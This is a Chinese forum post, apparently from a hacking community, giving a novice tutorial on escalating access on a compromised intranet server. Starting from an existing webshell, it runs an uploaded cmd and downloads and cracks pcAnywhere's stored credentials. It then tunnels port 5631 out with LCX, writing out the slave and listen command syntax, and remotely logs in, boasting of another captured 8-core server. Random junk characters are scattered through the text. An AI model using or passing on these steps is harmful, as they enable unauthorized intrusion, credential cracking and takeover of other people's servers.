[原创文章] pcanywhere之内网提权 pcanywhere

huar

很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。
1 ^$ r3 Q2 G& g: x
- u. }( [7 b# O, A提权方法：pcanywhere+LCX
% v9 Y  w% h2 @7 P) K# `; U
( s2 ^7 M( }; y1 l获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。9 @) N. d4 n) N" H. ]

" f; k/ S, l% Z2 P. C2 j在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。
( Q0 R$ Y0 O* [+ G* P% ?# c& `  N7 c. n* Y- D0 G$ L/ g
- q/ R4 F# }$ A3 M  c6 J. |
查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。
( G' p% i" ?8 O& B  R, v# K$ ]+ C% D( B
& T- Z8 O9 N5 u  l# q5 J
呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。' [  ?2 u# c$ j3 Z. v

( @4 P  U7 T$ q" T, ]' w  |/ G6 k, {; W9 D$ y7 i% c2 M

" i8 v. t% h% e. h2 _; ]
* `- |# G& e" X' n2 m由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``
( y" D4 Q2 y7 d  `9 \
' @; V7 a% t0 L3 p! e
5 m& c( ^3 s7 k3 bLCX的用法再简单说下：
8 Q% \8 `1 P  P/ I' H' ^7 l4 ~# w$ W3 X# t7 U
服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）$ \5 O# `# B+ f. Q2 }7 G/ U
& ?4 t; `' l  Q9 f
本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）
  F8 y* W) E6 M9 \* l0 v) w0 I& d9 e4 U7 m9 i
由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。
- {$ I+ |0 n2 X& d! S. V0 i顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``( L: v& x; r/ [7 ?& r. W. Z9 F% ^* U

; l4 B6 v( o! d8 u" G
4 J* j5 C7 L* g
" r) @+ A$ C  |% \) V+ h: A8 e$ u, `) Y  {- k6 i6 e9 _
呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。: {5 ?  t1 t% ?  d

* m( t& F" d5 z* {3 p: n4 t
; g/ y" l* o! n8 j2 F3 u( ~# `
* C& V; D, A9 L' l( A- z; d$ t
0 ^8 w8 c, T% s. N5 P# T我们本地连接试试，输入我们刚破解的账号密码0 W9 d- ]. w6 O) w' w1 U
1 g3 D6 U$ Y1 Y- v! V) O, R; N1 ?
* ]7 E: q" s+ F  a' K: Q
呵呵``连接成功,服务器不错，又一个8核^︵^/ p/ V" {! Z6 b* k$ g' N. ^$ p4 I1 y

- Z; G: M# X+ ?9 D; Y+ `
5 I6 D, q4 ^9 X. n+ B) v6 h+ w$ w2 ^: N1 c) S

huar

哎。。。。运气不佳```老碰见内网的。。。。